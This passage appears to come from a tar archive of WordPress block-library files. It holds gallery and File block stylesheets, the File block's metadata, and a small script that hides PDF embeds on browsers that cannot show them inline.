.blocks-gallery-image, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item { margin: 0 1em 1em 0; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure { margin: 0; height: 100%; display: flex; align-items: flex-end; justify-content: flex-start; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: auto; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; z-index: 2; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery:not(.has-nested-images) figcaption, .blocks-gallery-grid:not(.has-nested-images) figcaption { flex-grow: 1; } .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img { width: 100%; height: 100%; flex: 1; -o-object-fit: cover; object-fit: cover; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item { width: 100%; margin-right: 0; } @media (min-width: 600px) { .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-right: 0; } } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright, .blocks-gallery-grid:not(.has-nested-images).alignleft, .blocks-gallery-grid:not(.has-nested-images).alignright { max-width: 420px; width: 100%; } .wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item { align-self: flex-start; } figure.wp-block-gallery.has-nested-images { align-items: normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) { width: calc(50% - (var(--wp--style--unstable-gallery-gap, 16px) / 2)); margin: 0; } .wp-block-gallery.has-nested-images figure.wp-block-image { display: flex; flex-grow: 1; justify-content: center; position: relative; flex-direction: column; max-width: 100%; } .wp-block-gallery.has-nested-images figure.wp-block-image > div, .wp-block-gallery.has-nested-images figure.wp-block-image > a { margin: 0; flex-direction: column; flex-grow: 1; } .wp-block-gallery.has-nested-images figure.wp-block-image img { display: block; height: auto; max-width: 100% !important; width: auto; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); bottom: 0; color: #fff; font-size: 13px; left: 0; margin-bottom: 0; max-height: 60%; overflow: auto; padding: 0 8px 8px; position: absolute; text-align: center; width: 100%; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img { display: inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a { color: inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div, .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a { flex: 1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption { flex: initial; background: none; color: inherit; margin: 0; padding: 10px 10px 9px; position: relative; } .wp-block-gallery.has-nested-images figcaption { flex-grow: 1; flex-basis: 100%; text-align: center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) { margin-top: 0; margin-bottom: auto; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) { align-self: inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone), .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a { display: flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a, .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img { width: 100%; flex: 1 0 0%; height: 100%; -o-object-fit: cover; object-fit: cover; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) { width: 100%; } @media (min-width: 600px) { .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) { width: calc(33.3333333333% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667)); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) { width: calc(25% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.75)); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) { width: calc(20% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8)); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) { width: calc(16.6666666667% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333)); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) { width: calc(14.2857142857% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571)); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) { width: calc(12.5% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.875)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) { width: calc(33.33% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2), .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) { width: calc(50% - (var(--wp--style--unstable-gallery-gap, 16px) * 0.5)); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) { width: 100%; } } .wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.has-nested-images.aligncenter { justify-content: center; }blocks/file/editor-rtl.css000064400000004252147177035020011550 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-file { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file { height: auto; } .wp-block-file .components-resizable-box__container { margin-bottom: 1em; } .wp-block-file .wp-block-file__preview { margin-bottom: 1em; width: 100%; height: 100%; } .wp-block-file .wp-block-file__preview-overlay { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file a { min-width: 1em; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-right: 0.75em; }blocks/file/style.min.css000064400000001221147177035020011376 0ustar00.wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__embed{margin-bottom:1em}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-left:.75em}blocks/file/editor.css000064400000004251147177035020010750 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-file { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file { height: auto; } .wp-block-file .components-resizable-box__container { margin-bottom: 1em; } .wp-block-file .wp-block-file__preview { margin-bottom: 1em; width: 100%; height: 100%; } .wp-block-file .wp-block-file__preview-overlay { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file a { min-width: 1em; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-left: 0.75em; }blocks/file/style-rtl.css000064400000004264147177035020011425 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-file { margin-bottom: 1.5em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { text-align: right; } .wp-block-file .wp-block-file__embed { margin-bottom: 1em; } .wp-block-file .wp-block-file__button { background: #32373c; border-radius: 2em; color: #fff; font-size: 0.8em; padding: 0.5em 1em; } .wp-block-file a.wp-block-file__button { text-decoration: none; } .wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } .wp-block-file * + .wp-block-file__button { margin-right: 0.75em; }blocks/file/editor.min.css000064400000001172147177035020011531 0ustar00.wp-block-file{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{margin-bottom:1em;width:100%;height:100%}.wp-block-file .wp-block-file__preview-overlay{position:absolute;top:0;right:0;bottom:0;left:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}blocks/file/block.json000064400000002411147177035020010731 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/file", "title": "File", "category": "media", "description": "Add a link to a downloadable file.", "keywords": [ "document", "pdf", "download" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "href": { "type": "string" }, "fileId": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "id" }, "fileName": { "type": "string", "source": "html", "selector": "a:not([download])" }, "textLinkHref": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "href" }, "textLinkTarget": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "target" }, "showDownloadButton": { "type": "boolean", "default": true }, "downloadButtonText": { "type": "string", "source": "html", "selector": "a[download]" }, "displayPreview": { "type": "boolean" }, "previewHeight": { "type": "number", "default": 600 } }, "supports": { "anchor": true, "align": true }, "viewScript": "file:./view.min.js", "editorStyle": "wp-block-file-editor", "style": "wp-block-file" } blocks/file/style-rtl.min.css000064400000001222147177035020012176 0ustar00.wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__embed{margin-bottom:1em}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-right:.75em}blocks/file/view.asset.php000064400000000137147177035020011550 0ustar00 array(), 'version' => '395f76892cc61236cc5436776be90499');blocks/file/editor-rtl.min.css000064400000001173147177035020012331 0ustar00.wp-block-file{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{margin-bottom:1em;width:100%;height:100%}.wp-block-file .wp-block-file__preview-overlay{position:absolute;top:0;left:0;bottom:0;right:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}blocks/file/view.js000064400000004260147177035020010260 0ustar00/******/ (function() { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/utils.js /** * Uses a combination of user agent matching and feature detection to determine whether * the current browser supports rendering PDFs inline. * * @return {boolean} Whether or not the browser supports inline PDFs. */ const browserSupportsPdfs = () => { // Most mobile devices include "Mobi" in their UA. if (window.navigator.userAgent.indexOf('Mobi') > -1) { return false; } // Android tablets are the noteable exception. if (window.navigator.userAgent.indexOf('Android') > -1) { return false; } // iPad pretends to be a Mac. if (window.navigator.userAgent.indexOf('Macintosh') > -1 && window.navigator.maxTouchPoints && window.navigator.maxTouchPoints > 2) { return false; } // IE only supports PDFs when there's an ActiveX object available for it. if (!!(window.ActiveXObject || 'ActiveXObject' in window) && !(createActiveXObject('AcroPDF.PDF') || createActiveXObject('PDF.PdfCtrl'))) { return false; } return true; }; /** * Helper function for creating ActiveX objects, catching any errors that are thrown * when it's generated. * * @param {string} type The name of the ActiveX object to create. * @return {window.ActiveXObject|undefined} The generated ActiveXObject, or null if it failed. */ const createActiveXObject = type => { let ax; try { ax = new window.ActiveXObject(type); } catch (e) { ax = undefined; } return ax; }; /** * Hides all .wp-block-file__embed elements on the document. This function is only intended * to be run on the front-end, it may have weird side effects running in the block editor. */ const hidePdfEmbedsOnUnsupportedBrowsers = () => { if (!browserSupportsPdfs()) { const embeds = document.getElementsByClassName('wp-block-file__embed'); Array.from(embeds).forEach(embed => { embed.style.display = 'none'; }); } }; ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/view.js /** * Internal dependencies */ hidePdfEmbedsOnUnsupportedBrowsers(); /******/ })() ;blocks/file/view.min.js000064400000001040147177035020011033 0ustar00!function(){"use strict";const n=n=>{let i;try{i=new window.ActiveXObject(n)}catch(n){i=void 0}return i};(()=>{if(window.navigator.userAgent.indexOf("Mobi")>-1||window.navigator.userAgent.indexOf("Android")>-1||window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2||(window.ActiveXObject||"ActiveXObject"in window)&&!n("AcroPDF.PDF")&&!n("PDF.PdfCtrl")){const n=document.getElementsByClassName("wp-block-file__embed");Array.from(n).forEach((n=>{n.style.display="none"}))}})()}();blocks/file/style.css000064400000004304147177035020010621 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-file { margin-bottom: 1.5em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { /*rtl:ignore*/ text-align: right; } .wp-block-file .wp-block-file__embed { margin-bottom: 1em; } .wp-block-file .wp-block-file__button { background: #32373c; border-radius: 2em; color: #fff; font-size: 0.8em; padding: 0.5em 1em; } .wp-block-file a.wp-block-file__button { text-decoration: none; } .wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } .wp-block-file * + .wp-block-file__button { margin-left: 0.75em; }blocks/file/view.min.asset.php000064400000000137147177035020012332 0ustar00 array(), 'version' => 'c7ee2db603af4ed37bd6b1d2bb4a51bf');blocks/comments-pagination.php000064400000001707147177035020012521 0ustar00%2$s', get_block_wrapper_attributes(), $content ); } /** * Registers the `core/comments-pagination` block on the server. */ function register_block_core_comments_pagination() { register_block_type_from_metadata( __DIR__ . '/comments-pagination', array( 'render_callback' => 'render_block_core_comments_pagination', ) ); } add_action( 'init', 'register_block_core_comments_pagination' ); blocks/shortcode/editor-rtl.css000064400000005415147177035020012625 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ [data-type="core/shortcode"] .block-editor-plain-text { max-height: 250px; } [data-type="core/shortcode"].components-placeholder { min-height: 0; } .blocks-shortcode__textarea { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .blocks-shortcode__textarea { transition-duration: 0s; transition-delay: 0s; } } @media (min-width: 600px) { .blocks-shortcode__textarea { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .blocks-shortcode__textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .blocks-shortcode__textarea::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .blocks-shortcode__textarea:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); }blocks/shortcode/editor.css000064400000005415147177035020012026 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're 